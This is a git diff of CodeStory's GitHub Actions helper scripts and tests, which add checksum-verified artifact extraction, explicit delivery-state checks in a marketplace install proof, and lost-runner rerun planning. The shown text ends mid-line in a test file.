b/.github/scripts/extract-candidate-actions-artifact.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python3 +"""Extract one authenticated Actions artifact into a public candidate payload.""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import os +import re +import shutil +import stat +import tempfile +import zipfile +from pathlib import Path + +SHA = re.compile(r"^[0-9a-f]{40}$") +SHA256 = re.compile(r"^[0-9a-f]{64}$") +TARGET = re.compile(r"^[a-z0-9][a-z0-9._-]{0,63}$") +PORTABLE_NAME = re.compile(r"^[A-Za-z0-9](?:[A-Za-z0-9._+-]*[A-Za-z0-9])?$") +RESERVED_NAME = re.compile( + r"^(?:con|prn|aux|nul|com[1-9]|lpt[1-9])(?:\..*)?$", + re.IGNORECASE, +) +RECORD_SCHEMA = "codestory-candidate-archive-store/v1" + + +def fail(message: str) -> None: + raise ValueError(message) + + +def exact_keys(value: object, keys: set[str], label: str) -> dict: + if not isinstance(value, dict) or set(value) != keys: + fail(f"{label} keys changed") + return value + + +def positive_bytes(value: object, label: str) -> int: + if not isinstance(value, int) or isinstance(value, bool) or value <= 0: + fail(f"{label} must be a positive integer") + return value + + +def digest(value: object, pattern: re.Pattern[str], label: str) -> str: + if not isinstance(value, str) or not pattern.fullmatch(value): + fail(f"{label} is invalid") + return value + + +def portable_name(value: object, label: str) -> str: + if ( + not isinstance(value, str) + or not PORTABLE_NAME.fullmatch(value) + or RESERVED_NAME.fullmatch(value) + or "/" in value + or "\\" in value + ): + fail(f"{label} must be a portable simple filename") + return value + + +def descriptor(value: object, role: str, expected_path: str) -> tuple[str, int, str]: + item = exact_keys( + value, + {"role", "relative_path", "bytes", "sha256"}, + f"{role} descriptor", + ) + if item["role"] != role or item["relative_path"] != expected_path: + fail(f"{role} descriptor path changed") + return ( + expected_path, + positive_bytes(item["bytes"], f"{role} bytes"), + digest(item["sha256"], SHA256, f"{role} SHA-256"), + ) + + +def load_record(record_path: Path) -> dict[str, tuple[int, str]]: + record = exact_keys( + json.loads(record_path.read_text(encoding="utf-8")), + {"schema", "repository", "source", "target", "archive", "companions"}, + "candidate archive record", + ) + if record["schema"] != RECORD_SCHEMA: + fail("candidate archive record schema changed") + if ( + not isinstance(record["repository"], str) + or record["repository"].count("/") != 1 + ): + fail("candidate repository changed") + source = exact_keys(record["source"], {"commit", "tree"}, "candidate source") + digest(source["commit"], SHA, "candidate source SHA") + digest(source["tree"], SHA, "candidate source tree") + digest(record["target"], TARGET, "candidate target") + archive = exact_keys( + record["archive"], + {"name", "relative_path", "bytes", "sha256"}, + "candidate archive", + ) + archive_name = portable_name(archive["name"], "candidate archive name") + if archive["relative_path"] != archive_name: + fail("candidate archive path changed") + expected = { + archive_name: ( + positive_bytes(archive["bytes"], "candidate archive bytes"), + digest(archive["sha256"], SHA256, "candidate archive SHA-256"), + ) + } + companions = record["companions"] + if not isinstance(companions, list) or len(companions) != 2: + fail("candidate record must retain exactly the two public checksum files") + by_role = { + item.get("role"): item + for item in companions + if isinstance(item, dict) + } + if set(by_role) != {"archive_checksum", "checksum_manifest"}: + fail("candidate record companions must remain public-only") + archive_checksum = descriptor( + by_role["archive_checksum"], + "archive_checksum", + f"{archive_name}.sha256", + ) + checksum_manifest = descriptor( + by_role["checksum_manifest"], + "checksum_manifest", + "SHA256SUMS.txt", + ) + if archive_checksum[1:] != checksum_manifest[1:]: + fail("per-candidate checksum files must retain the same checksum line") + for path, size, sha256 in (archive_checksum, checksum_manifest): + expected[path] = (size, sha256) + return expected + + +def zip_entry_is_regular(info: zipfile.ZipInfo) -> bool: + unix_mode = info.external_attr >> 16 + file_type = stat.S_IFMT(unix_mode) + return file_type in (0, stat.S_IFREG) + + +def extract(artifact: Path, record: Path, output: Path) -> None: + expected = load_record(record) + output = output.resolve() + if output.exists(): + fail(f"candidate staging output already exists: {output}") + output.parent.mkdir(parents=True, exist_ok=True) + temporary = Path( + tempfile.mkdtemp( + prefix=f".{output.name}.partial-", + dir=output.parent, + ) + ) + try: + with zipfile.ZipFile(artifact) as bundle: + members = bundle.infolist() + names = [member.filename for member in members] + if len(names) != len(set(names)) or set(names) != set(expected): + fail("Actions artifact does not contain the exact public candidate allowlist") + for member in members: + if ( + member.is_dir() + or member.flag_bits & 0x1 + or not zip_entry_is_regular(member) + or portable_name(member.filename, "Actions artifact member") + != member.filename + ): + fail("Actions artifact members must be unencrypted regular root files") + expected_size, expected_sha256 = expected[member.filename] + if member.file_size != expected_size: + fail(f"Actions artifact member size changed: {member.filename}") + destination = temporary / member.filename + measured = hashlib.sha256() + written = 0 + with bundle.open(member) as source, destination.open("xb") as target: + while chunk := source.read(1024 * 1024): + written += len(chunk) + if written > expected_size: + fail(f"Actions artifact member exceeded its size: {member.filename}") + measured.update(chunk) + target.write(chunk) + target.flush() + os.fsync(target.fileno()) + if written != expected_size or measured.hexdigest() != expected_sha256: + fail(f"Actions artifact member identity changed: {member.filename}") + temporary.rename(output) + except BaseException: + shutil.rmtree(temporary, ignore_errors=True) + raise + + +def main() -> None: + parser = argparse.ArgumentParser() + parser.add_argument("--artifact", required=True, type=Path) + parser.add_argument("--record", required=True, type=Path) + parser.add_argument("--out", required=True, type=Path) + args = parser.parse_args() + extract(args.artifact, args.record, args.out) + + +if __name__ == "__main__": + main() diff --git a/.github/scripts/extract-candidate-actions-artifact.test.py b/.github/scripts/extract-candidate-actions-artifact.test.py new file mode 100644 index 000000000..7b13ad225 --- /dev/null +++ b/.github/scripts/extract-candidate-actions-artifact.test.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 + +from __future__ import annotations + +import hashlib +import importlib.util +import json +import tempfile +import unittest +import zipfile +from pathlib import Path + +SCRIPT = Path(__file__).with_name("extract-candidate-actions-artifact.py") +SPEC = importlib.util.spec_from_file_location("candidate_extract", SCRIPT) +assert SPEC is not None and SPEC.loader is not None +MODULE = importlib.util.module_from_spec(SPEC) +SPEC.loader.exec_module(MODULE) + + +def sha256(value: bytes) -> str: + return hashlib.sha256(value).hexdigest() + + +class CandidateArtifactExtractionTests(unittest.TestCase): + def setUp(self) -> None: + self.temporary = tempfile.TemporaryDirectory() + self.root = Path(self.temporary.name) + self.archive_name = "codestory-cli-v0.16.3-windows-x64.zip" + self.payloads = { + self.archive_name: b"candidate bytes", + f"{self.archive_name}.sha256": b"archive checksum\n", + "SHA256SUMS.txt": b"archive checksum\n", + } + self.record = { + "schema": "codestory-candidate-archive-store/v1", + "repository": "TheGreenCedar/CodeStory", + "source": {"commit": "a" * 40, "tree": "b" * 40}, + "target": "windows-x64", + "archive": { + "name": self.archive_name, + "relative_path": self.archive_name, + "bytes": len(self.payloads[self.archive_name]), + "sha256": sha256(self.payloads[self.archive_name]), + }, + "companions": [ + { + "role": "archive_checksum", + "relative_path": f"{self.archive_name}.sha256", + "bytes": len(self.payloads[f"{self.archive_name}.sha256"]), + "sha256": sha256( + self.payloads[f"{self.archive_name}.sha256"] + ), + }, + { + "role": "checksum_manifest", + "relative_path": "SHA256SUMS.txt", + "bytes": len(self.payloads["SHA256SUMS.txt"]), + "sha256": sha256(self.payloads["SHA256SUMS.txt"]), + }, + ], + } + self.record_path = self.root / "candidate-archive-record.json" + self.write_record() + + def tearDown(self) -> None: + self.temporary.cleanup() + + def write_record(self) -> None: + self.record_path.write_text(json.dumps(self.record), encoding="utf-8") + + def write_artifact( + self, + payloads: dict[str, bytes] | None = None, + *, + duplicate: str | None = None, + ) -> Path: + path = self.root / "artifact.zip" + with zipfile.ZipFile(path, "w") as bundle: + for name, value in (payloads or self.payloads).items(): + bundle.writestr(name, value) + if duplicate is not None: + bundle.writestr(duplicate, b"duplicate") + return path + + def test_extracts_only_the_exact_public_candidate_payload(self) -> None: + artifact = self.write_artifact() + output = self.root / "staged" + MODULE.extract(artifact, self.record_path, output) + self.assertEqual( + {path.name: path.read_bytes() for path in output.iterdir()}, + self.payloads, + ) + + def test_rejects_qualification_material_in_the_public_record(self) -> None: + self.record["companions"].append( + { + "role": "qualification_driver", + "relative_path": "qualification.exe", + "bytes": 1, + "sha256": "c" * 64, + } + ) + self.write_record() + with self.assertRaisesRegex(ValueError, "two public checksum"): + MODULE.extract( + self.write_artifact(), + self.record_path, + self.root / "staged", + ) + + def test_rejects_missing_extra_duplicate_and_mutated_members(self) -> None: + mutations = { + "missing": { + name: value + for name, value in self.payloads.items() + if name != "SHA256SUMS.txt" + }, + "extra": {**self.payloads, "untrusted.bin": b"extra"}, + "mutated": {**self.payloads, self.archive_name: b"wrong bytes"}, + } + for name, payloads in mutations.items(): + with self.subTest(name=name): + artifact = self.write_artifact(payloads) + with self.assertRaises(ValueError): + MODULE.extract( + artifact, + self.record_path, + self.root / f"staged-{name}", + ) + artifact.unlink() + artifact = self.write_artifact(duplicate=self.archive_name) + with self.assertRaisesRegex(ValueError, "exact public candidate allowlist"): + MODULE.extract(artifact, self.record_path, self.root / "staged-duplicate") + + def test_rejects_traversal_and_nested_members(self) -> None: + for bad_name in ("../SHA256SUMS.txt", "nested/SHA256SUMS.txt"): + payloads = dict(self.payloads) + payloads.pop("SHA256SUMS.txt") + payloads[bad_name] = b"archive checksum\n" + artifact = self.write_artifact(payloads) + with self.assertRaises(ValueError): + MODULE.extract( + artifact, + self.record_path, + self.root / f"staged-{bad_name.replace('/', '-')}", + ) + artifact.unlink() + + +if __name__ == "__main__": + unittest.main() diff --git a/.github/scripts/fixtures/workflow-policy-invalid.json b/.github/scripts/fixtures/workflow-policy-invalid.json index 5226f2543..222bb4791 100644 --- a/.github/scripts/fixtures/workflow-policy-invalid.json +++ b/.github/scripts/fixtures/workflow-policy-invalid.json @@ -64,8 +64,8 @@ "workflow": "release.yml", "job": "source-proof", "field": [ - "with", - "ref" + "env", + "SOURCE_SHA" ], "value": "${{ github.ref }}" }, @@ -83,18 +83,18 @@ ] }, { - "id": "synchronize-proof-trigger", + "id": "support-proof-trigger", "class_prefix": "[proof_identity]", "workflow": "source-proof.yml", "field": [ "on", - "pull_request", - "types" + "pull_request" ], - "value": [ - "labeled", - "synchronize" - ] + "value": { + "types": [ + "labeled" + ] + } }, { "id": "pr-number-only-proof-concurrency", diff --git a/.github/scripts/install-codestory-marketplace-proof.mjs b/.github/scripts/install-codestory-marketplace-proof.mjs index 9da151024..95b5b4bd6 100644 --- a/.github/scripts/install-codestory-marketplace-proof.mjs +++ b/.github/scripts/install-codestory-marketplace-proof.mjs @@ -15,6 +15,13 @@ import process from "node:process"; import { spawnSync } from "node:child_process"; import { pathToFileURL } from "node:url"; +import { + DEFERRED_INSTALLATION_SOURCE, + DEFERRED_MARKETPLACE_REPOSITORY, + LIVE_INSTALLATION_SOURCE, + LIVE_MARKETPLACE_REPOSITORY, +} from "./marketplace-delivery-identity.mjs"; + function fail(message) { throw new Error(message); } @@ -131,6 +138,29 @@ function marketplaceRevisionAt(root) { function prepareInstallation(rawArgs) { const args = parseArgs(rawArgs); + + // Which delivery state this install attests is decided first, before anything is touched. An + // unset or misspelled `--local-fixture` used to mean "live" by falling through a `!== "true"` + // comparison -- exactly the shape that lets a fixture resolve be attested as a public-catalog + // install. + const localFixtureRaw = args.local_fixture; + if (localFixtureRaw !== "true" && localFixtureRaw !== "false") { + fail(`--local-fixture must be true or false, not ${JSON.stringify(localFixtureRaw ?? null)}`); + } + const localFixture = localFixtureRaw === "true"; + const installationSource = localFixture + ? DEFERRED_INSTALLATION_SOURCE + : LIVE_INSTALLATION_SOURCE; + const marketplaceSource = required(args, "marketplace_source"); + if (!localFixture && marketplaceSource !== LIVE_MARKETPLACE_REPOSITORY) { + fail( + `a live marketplace install must resolve ${LIVE_MARKETPLACE_REPOSITORY}, not ${marketplaceSource}`, + ); + } + const marketplaceRepository = localFixture + ? DEFERRED_MARKETPLACE_REPOSITORY + : marketplaceSource; + const codexPackageRoot = path.resolve(required(args, "codex_package_root")); const codexExecutable = path.join( codexPackageRoot, @@ -148,7 +178,6 @@ function prepareInstallation(rawArgs) { const pluginData = realpathSync(pluginDataInput); containedPath(codexHome, pluginData, "plugin data"); - const marketplaceSource = required(args, "marketplace_source"); const marketplaceName = required(args, "marketplace_name"); const marketplaceRevision = required(args, "marketplace_revision"); if (!/^[0-9a-f]{40}$/u.test(marketplaceRevision)) { @@ -168,7 +197,10 @@ function prepareInstallation(rawArgs) { codexExecutable, codexHome, pluginData, + localFixture, + installationSource, marketplaceSource, + marketplaceRepository, marketplaceName, marketplaceRevision, expectedVersion, @@ -183,7 +215,7 @@ function installMarketplace(setup) { const codex = (...command) => run(setup.codexExecutable, command, { env }); const codexVersion = codex("--version"); const addArguments = ["plugin", "marketplace", "add", setup.marketplaceSource]; - if (setup.args.local_fixture !== "true") { + if (!setup.localFixture) { addArguments.push("--ref", setup.marketplaceRevision); } addArguments.push("--json"); @@ -227,7 +259,7 @@ function verifyInstallation(setup, installed) { const installedPlugins = installed.pluginList.installed; const availablePlugins = installed.pluginList.available; const pluginListEntry = installedPlugins?.[0]; - const expectedSourceUrl = setup.args.local_fixture === "true" + const expectedSourceUrl = setup.localFixture ? undefined : "https://github.com/TheGreenCedar/CodeStory.git"; if ( @@ -316,7 +348,7 @@ function verifyInstallation(setup, installed) { function attestInstallation(setup, installed, verified) { const attestation = { schema_version: 2, - installation_source: "codex_marketplace_install", + installation_source: setup.installationSource, installation: { codex_home: setup.codexHome, plugin_root: verified.pluginRoot, @@ -330,7 +362,7 @@ function attestInstallation(setup, installed, verified) { package_sha256: verified.packageSha256, }, marketplace: { - repository: setup.marketplaceSource, + repository: setup.marketplaceRepository, revision: setup.marketplaceRevision, provenance: { add: { diff --git a/.github/scripts/install-codestory-marketplace-proof.test.mjs b/.github/scripts/install-codestory-marketplace-proof.test.mjs index 11058b319..e9173c2ea 100644 --- a/.github/scripts/install-codestory-marketplace-proof.test.mjs +++ b/.github/scripts/install-codestory-marketplace-proof.test.mjs @@ -193,6 +193,16 @@ test("pinned Codex installs a local marketplace fixture into the attested cache" pluginManifest.version, ); assert.equal(attestation.schema_version, 2); + // A fixture resolve is a distinct delivery state end to end: it gets its own installer + // identity and its own attestation repository, and the Python predicate routes on exactly + // this value. Writing `codex_marketplace_install` here -- as the first version did -- made + // the live predicate refuse the release three steps after the tag was already pushed. + assert.equal(attestation.installation_source, "codex_marketplace_deferred_fixture"); + assert.equal( + attestation.marketplace.repository, + "local:candidate-pinned-marketplace-fixture", + ); + assert.notEqual(attestation.marketplace.repository, marketplaceRoot); assert.equal(attestation.marketplace.codex_cli_version, `codex-cli ${codexVersion}`); assert.equal(attestation.marketplace.revision, marketplaceRevision); assert.equal( @@ -284,3 +294,42 @@ test("pinned Codex installs a local marketplace fixture into the attested cache" rmSync(root, { recursive: true, force: true }); } }); + +// `--local-fixture` decides which of two delivery states the attestation claims, so it may not be +// decided by falling through a comparison. It used to be read as `!== "true"`, which made an unset +// or misspelled value silently mean "the live public catalog served this release". +test("the delivery state must be stated explicitly, never defaulted", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-marketplace-flag-")); + try { + const base = proofArgs({ + packageRoot: path.join(root, "codex-package"), + proofRoot: root, + marketplaceRoot: path.join(root, "marketplace"), + marketplaceRevision: "a".repeat(40), + expectedVersion: "0.0.0", + sourceRepository: repositoryRoot, + }); + const withFlag = (value) => { + const args = [...base]; + const index = args.indexOf("--local-fixture"); + if (value === null) args.splice(index, 2); + else args[index + 1] = value; + return args; + }; + for (const value of [null, "", "TRUE", "1", "yes", "tru"]) { + assertFailedProof(withFlag(value), /--local-fixture must be true or false/u); + } + + // The live state may only ever name the real catalog repository. A fixture path arriving + // here with `--local-fixture false` would attest a public-catalog install of a local + // directory. + const live = withFlag("false"); + live[live.indexOf("--marketplace-source") + 1] = path.join(root, "marketplace"); + assertFailedProof( + live, + /a live marketplace install must resolve TheGreenCedar\/AgentPluginMarketplace/u, + ); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); diff --git a/.github/scripts/lost-runner-recovery.mjs b/.github/scripts/lost-runner-recovery.mjs new file mode 100644 index 000000000..2fd6d4686 --- /dev/null +++ b/.github/scripts/lost-runner-recovery.mjs @@ -0,0 +1,339 @@ +#!/usr/bin/env node + +// A self-hosted runner that drops its connection mid-job is reported by Actions as an ordinary job +// failure, which is indistinguishable from a proof that ran and refused to pass unless the run is +// inspected. GitHub does leave a precise, machine-readable signature behind: +// +// 1. a job annotation whose text is exactly LOST_RUNNER_ANNOTATION, +// 2. at least one step that completed with an EMPTY conclusion -- the steps queued behind the +// point where the connection died were never resolved, and +// 3. no log blob: the runner never uploaded one, so the logs endpoint has nothing to serve. +// +// A proof that executed and failed its own assertions has none of those: it has a real conclusion +// on every step and a log blob. This module keys on the signature, never on job names, so that a +// renamed or newly added proof job cannot silently become retryable. + +import { readFileSync, writeFileSync, appendFileSync, mkdirSync } from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +export const LOST_RUNNER_ANNOTATION = + "The self-hosted runner lost communication with the server. " + + "Verify the machine is running and has a healthy network connection."; + +/// Total executions of one job permitted for a release run, counting the original. Two means one +/// automatic recovery attempt: the bound exists so a permanently sick host cannot loop forever, and +/// it is the same bound the withheld-claim fallback waits for before it stops expecting a proof. +export const MAXIMUM_RUN_ATTEMPTS = 2; + +export const RUNNER_COMMUNICATION_LOSS = "runner_communication_loss"; +export const JOB_ASSERTION_FAILURE = "job_assertion_failure"; +export const RERUN_PLAN_SCHEMA = "codestory.lost-runner-rerun-plan/v1"; +export const NON_CLAIM_PLAN_SCHEMA = "codestory.accelerator-non-claim-plan/v1"; + +function fail(message) { + throw new Error(message); +} + +function text(value, label) { + if (typeof value !== "string" || value === "") fail(`${label} must be non-empty text`); + return value; +} + +function positiveInteger(value, label) { + const selected = String(value ?? ""); + if (!/^[1-9]\d*$/u.test(selected)) fail(`${label} must be a positive integer`); + return Number(selected); +} + +function list(value, label) { + if (!Array.isArray(value)) fail(`${label} must be an array`); + return value; +} + +/// Actions renders a reusable workflow's job as " / "; the leaf is the name +/// the release claim graph binds its producers to. +export function leafJobName(name) { + return text(name, "Actions job name").split(" / ").at(-1); +} + +function emptyConclusionSteps(job) { + return list(job.steps ?? [], "job steps") + .filter((step) => step?.conclusion === null || step?.conclusion === "") + .map((step) => String(step?.name ?? "")); +} + +function annotationMatches(job) { + if (!Array.isArray(job.annotations)) fail("job annotations must be an array"); + return job.annotations + .some((annotation) => String(annotation?.message ?? "").trim() === LOST_RUNNER_ANNOTATION); +} + +/// Whether the runner uploaded a log blob. This must be a fact the collector actually established, +/// not a field that happens to be absent: an absent field used to read as `false`, which is the +/// half of the signature a lost runner needs, so a collector that silently stopped probing would +/// have made every failure look lost. Absence is an error here and nowhere near a verdict. +function logUploaded(job) { + if (typeof job.log_uploaded !== "boolean") { + fail("job log_uploaded must be a boolean established by the evidence collector"); + } + return job.log_uploaded; +} + +/// Classify one *failed* job. The lost-runner verdict requires all three signature parts at once: +/// any one of them alone is reachable by an ordinary failure (a cancelled step leaves an empty +/// conclusion, a log can be expired), so partial matches stay assertion failures and are never +/// retried and never converted into a withheld claim. +export function classifyJobFailure(job) { + const name = leafJobName(job?.name); + const conclusion = job?.conclusion === null || job?.conclusion === undefined + ? null + : String(job.conclusion); + const emptySteps = emptyConclusionSteps(job ?? {}); + const evidence = { + annotation_matched: annotationMatches(job ?? {}), + empty_conclusion_steps: emptySteps, + log_uploaded: logUploaded(job ?? {}), + }; + const lost = conclusion === "failure" + && evidence.annotation_matched + && emptySteps.length > 0 + && evidence.log_uploaded === false; + return { + id: positiveInteger(job?.id, "Actions job id"), + name, + conclusion, + run_attempt: String(positiveInteger(job?.run_attempt, "Actions job run attempt")), + signature: lost ? RUNNER_COMMUNICATION_LOSS : JOB_ASSERTION_FAILURE, + evidence, + }; +} + +/// One row per *execution*. The collector reads every attempt of a run, so a job that Actions +/// carried forward unchanged appears once per attempt listing under the same id; those are the same +/// execution and must be counted once. +function distinctExecutions(jobs) { + const byId = new Map(); + for (const job of list(jobs, "Actions jobs")) { + const id = positiveInteger(job?.id, "Actions job id"); + const attempt = positiveInteger(job?.run_attempt, "Actions job run attempt"); + const previous = byId.get(id); + // Keep the richest sighting of an execution: a later attempt's listing carries the same facts, + // but only the listing taken from the attempt the job ran in has its evidence probed. + if (previous === undefined || positiveInteger(previous.run_attempt, "run attempt") < attempt) { + byId.set(id, job); + } + } + return [...byId.values()]; +} + +function failedJobs(jobs) { + return distinctExecutions(jobs).filter((job) => String(job?.conclusion ?? "") === "failure"); +} + +/// How many *executions* of one job name were lost to their runner, across every attempt collected. +/// +/// This is the recovery counter, and it is deliberately not `GITHUB_RUN_ATTEMPT`. A release run +/// reaches attempt 2 for any reason a maintainer likes -- a flaky unrelated job, a re-run to pick +/// up a secret -- and the run-attempt number cannot tell that apart from "the automatic recovery +/// for this host has already been spent". Counting lost executions of the job itself can: a host +/// that has been lost once is owed a re-dispatch no matter what attempt the run is on, and a host +/// that has been lost twice has had its one automatic recovery and gets no more. +export function countLostExecutions(jobs, jobName) { + return distinctExecutions(jobs) + .filter((job) => leafJobName(job?.name) === jobName) + .filter((job) => String(job?.conclusion ?? "") === "failure") + .filter((job) => classifyJobFailure(job).signature === RUNNER_COMMUNICATION_LOSS) + .length; +} + +/// Decide which individual jobs to re-dispatch. Only jobs carrying the lost-runner signature are +/// ever re-dispatched -- the plan names them one by one instead of asking Actions to rerun every +/// failed job, so a proof that failed its own assertions is left exactly as it is and keeps the run +/// red. No approval gate is consulted: recovery is a machine decision or it does not happen. +/// +/// The bound is per job, not per run: see `countLostExecutions`. +export function planLostRunnerRerun({ runAttempt, runConclusion, jobs }) { + const attempt = positiveInteger(runAttempt, "run attempt"); + const classified = failedJobs(jobs).map(classifyJobFailure); + const withRecoveries = classified.map((job) => ({ + ...job, + lost_executions: countLostExecutions(jobs, job.name), + })); + const lost = withRecoveries.filter(({ signature }) => signature === RUNNER_COMMUNICATION_LOSS); + const notRetried = withRecoveries.filter(({ signature }) => signature !== RUNNER_COMMUNICATION_LOSS); + const retryable = lost.filter(({ lost_executions: spent }) => spent < MAXIMUM_RUN_ATTEMPTS); + const reason = String(runConclusion ?? "") !== "failure" + ? "run_did_not_fail" + : lost.length === 0 + ? "no_runner_communication_loss" + : retryable.length === 0 + ? "recovery_bound_reached" + : "runner_communication_loss"; + return { + schema: RERUN_PLAN_SCHEMA, + rerun: reason === "runner_communication_loss", + reason, + run_attempt: attempt, + maximum_run_attempts: MAXIMUM_RUN_ATTEMPTS, + rerun_job_ids: reason === "runner_communication_loss" ? retryable.map(({ id }) => id) : [], + lost_jobs: lost, + not_retried_jobs: notRetried, + }; +} + +export const HOST_PROVEN = "proven"; +export const HOST_WITHHELD = "withheld"; +export const HOST_RETRY_PENDING = "retry_pending"; +export const HOST_BLOCKED = "blocked"; + +/// Decide, per protected accelerator host, whether this run may record a populated non-claim. +/// +/// `withheld` is reachable only from the lost-runner signature *after* the retry bound is spent. +/// Every other shape -- a proof that failed its own assertions, a cancelled job, a job that never +/// appeared in the run -- is `blocked`, which the CLI turns into a non-zero exit. Withholding is +/// therefore never the fallback for "something went wrong": it is the fallback for exactly one +/// machine-checkable fact. +export function planAcceleratorNonClaim({ runAttempt, hosts, jobs }) { + const attempt = positiveInteger(runAttempt, "run attempt"); + const inspected = distinctExecutions(jobs); + const rows = list(hosts, "protected hosts").map((host) => { + const hostId = text(host?.id, "protected host id"); + const jobName = text(host?.job_name, `${hostId} producer job name`); + const occurrences = inspected.filter((job) => leafJobName(job?.name) === jobName); + if (occurrences.length === 0) { + return { host: hostId, job_name: jobName, state: HOST_BLOCKED, detail: "job_absent_from_run" }; + } + const latestAttempt = Math.max( + ...occurrences.map((job) => positiveInteger(job?.run_attempt, `${jobName} run attempt`)), + ); + const latest = occurrences.filter((job) => Number(job.run_attempt) === latestAttempt); + if (latest.length !== 1) { + return { host: hostId, job_name: jobName, state: HOST_BLOCKED, detail: "job_is_ambiguous" }; + } + const job = latest[0]; + if (String(job.status ?? "") === "completed" && String(job.conclusion ?? "") === "success") { + return { host: hostId, job_name: jobName, state: HOST_PROVEN, detail: "proof_succeeded" }; + } + if (String(job.conclusion ?? "") !== "failure") { + return { + host: hostId, + job_name: jobName, + state: HOST_BLOCKED, + detail: `job_conclusion_${String(job.conclusion ?? "none")}`, + }; + } + const classified = classifyJobFailure(job); + if (classified.signature !== RUNNER_COMMUNICATION_LOSS) { + return { + host: hostId, + job_name: jobName, + state: HOST_BLOCKED, + detail: JOB_ASSERTION_FAILURE, + job: classified, + }; + } + // The bound that has to be spent is this host's own recovery, counted in lost executions of + // its job. A release run sitting at attempt 2 for an unrelated reason has still never + // re-dispatched this host, and the first loss of a runner is owed its one automatic retry. + const spent = countLostExecutions(jobs, jobName); + if (spent < MAXIMUM_RUN_ATTEMPTS || attempt < MAXIMUM_RUN_ATTEMPTS) { + return { + host: hostId, + job_name: jobName, + state: HOST_RETRY_PENDING, + detail: "automatic_rerun_still_owed", + lost_executions: spent, + job: classified, + }; + } + return { + host: hostId, + job_name: jobName, + state: HOST_WITHHELD, + detail: RUNNER_COMMUNICATION_LOSS, + lost_executions: spent, + job: classified, + }; + }); + return { + schema: NON_CLAIM_PLAN_SCHEMA, + run_attempt: attempt, + maximum_run_attempts: MAXIMUM_RUN_ATTEMPTS, + hosts: rows, + withheld_hosts: rows.filter(({ state }) => state === HOST_WITHHELD).map(({ host }) => host), + blocked_hosts: rows + .filter(({ state }) => state === HOST_BLOCKED || state === HOST_RETRY_PENDING) + .map(({ host }) => host), + }; +} + +function readJson(filePath) { + return JSON.parse(readFileSync(path.resolve(text(filePath, "input path")), "utf8")); +} + +function writeJson(filePath, value) { + const absolute = path.resolve(text(filePath, "output path")); + mkdirSync(path.dirname(absolute), { recursive: true }); + writeFileSync(absolute, `${JSON.stringify(value, null, 2)}\n`); +} + +function emitOutputs(entries) { + const target = process.env.GITHUB_OUTPUT; + if (!target) return; + for (const [key, value] of Object.entries(entries)) { + appendFileSync(target, `${key}=${value}\n`); + } +} + +function parseArgs(argv) { + const command = argv.shift(); + const values = {}; + while (argv.length > 0) { + const key = argv.shift(); + const value = argv.shift(); + if (!key?.startsWith("--") || value === undefined) fail("arguments must be --key value pairs"); + values[key.slice(2)] = value; + } + return { command, values }; +} + +function main() { + const { command, values } = parseArgs(process.argv.slice(2)); + if (command === "plan-rerun") { + const input = readJson(values.input); + const plan = planLostRunnerRerun({ + runAttempt: input.run_attempt, + runConclusion: input.conclusion, + jobs: input.jobs, + }); + writeJson(values.out ?? "target/lost-runner/rerun-plan.json", plan); + emitOutputs({ rerun: String(plan.rerun), job_ids: plan.rerun_job_ids.join(" ") }); + console.log(JSON.stringify(plan, null, 2)); + return; + } + if (command === "plan-non-claim") { + const input = readJson(values.input); + const plan = planAcceleratorNonClaim({ + runAttempt: input.run_attempt, + hosts: input.hosts, + jobs: input.jobs, + }); + writeJson(values.out ?? "target/lost-runner/non-claim-plan.json", plan); + emitOutputs({ withheld_hosts: plan.withheld_hosts.join(" ") }); + console.log(JSON.stringify(plan, null, 2)); + if (plan.blocked_hosts.length > 0) { + const blocked = plan.hosts.filter(({ state }) => state !== HOST_PROVEN && state !== HOST_WITHHELD); + for (const row of blocked) { + console.error(`::error::${row.host} cannot record a non-claim: ${row.detail}`); + } + process.exitCode = 1; + } + return; + } + fail(`unknown command ${String(command)}`); +} + +if (process.argv[1] && fileURLToPath(import.meta.url) === path.resolve(process.argv[1])) { + main(); +} diff --git a/.github/scripts/lost-runner-recovery.test.mjs b/.github/scripts/lost-runner-recovery.test.mjs new file mode 100644 index 000000000..27b785845 --- /dev/null +++ b/.github/scripts/lost-runner-recovery.test.mjs @@ -0,0 +1,600 @@ +import assert from "node:assert/strict"; +import { spawnSync } from "node:child_process"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import test from "node:test"; +import { fileURLToPath } from "node:url"; +import { + JOB_ASSERTION_FAILURE, + LOST_RUNNER_ANNOTATION, + MAXIMUM_RUN_ATTEMPTS, + RUNNER_COMMUNICATION_LOSS, + classifyJobFailure, + countLostExecutions, + planAcceleratorNonClaim, + planLostRunnerRerun, +} from "./lost-runner-recovery.mjs"; + +const script = fileURLToPath(new URL("./lost-runner-recovery.mjs", import.meta.url)); + +function lostJob(overrides = {}) { + return { + id: 41, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: "1", + log_uploaded: false, + annotations: [{ level: "failure", message: LOST_RUNNER_ANNOTATION }], + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: null }, + { name: "Upload Linux Vulkan proof artifacts", status: "completed", conclusion: null }, + ], + ...overrides, + }; +} + +function assertionJob(overrides = {}) { + return { + id: 42, + name: "linux-vulkan-proof / Packaged Linux Vulkan engine", + status: "completed", + conclusion: "failure", + run_attempt: "1", + log_uploaded: true, + annotations: [{ level: "failure", message: "Process completed with exit code 1." }], + steps: [ + { name: "Checkout exact source", status: "completed", conclusion: "success" }, + { name: "Prove offline Linux Vulkan retrieval", status: "completed", conclusion: "failure" }, + ], + ...overrides, + }; +} + +const linuxHost = { id: "linux-x64-vulkan", job_name: "Packaged Linux Vulkan engine" }; + +function runCli(command, input) { + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-lost-runner-")); + const inputPath = path.join(directory, "input.json"); + const outPath = path.join(directory, "plan.json"); + const outputsPath = path.join(directory, "outputs.txt"); + writeFileSync(inputPath, JSON.stringify(input)); + writeFileSync(outputsPath, ""); + const result = spawnSync( + process.execPath, + [script, command, "--input", inputPath, "--out", outPath], + { encoding: "utf8", env: { ...process.env, GITHUB_OUTPUT: 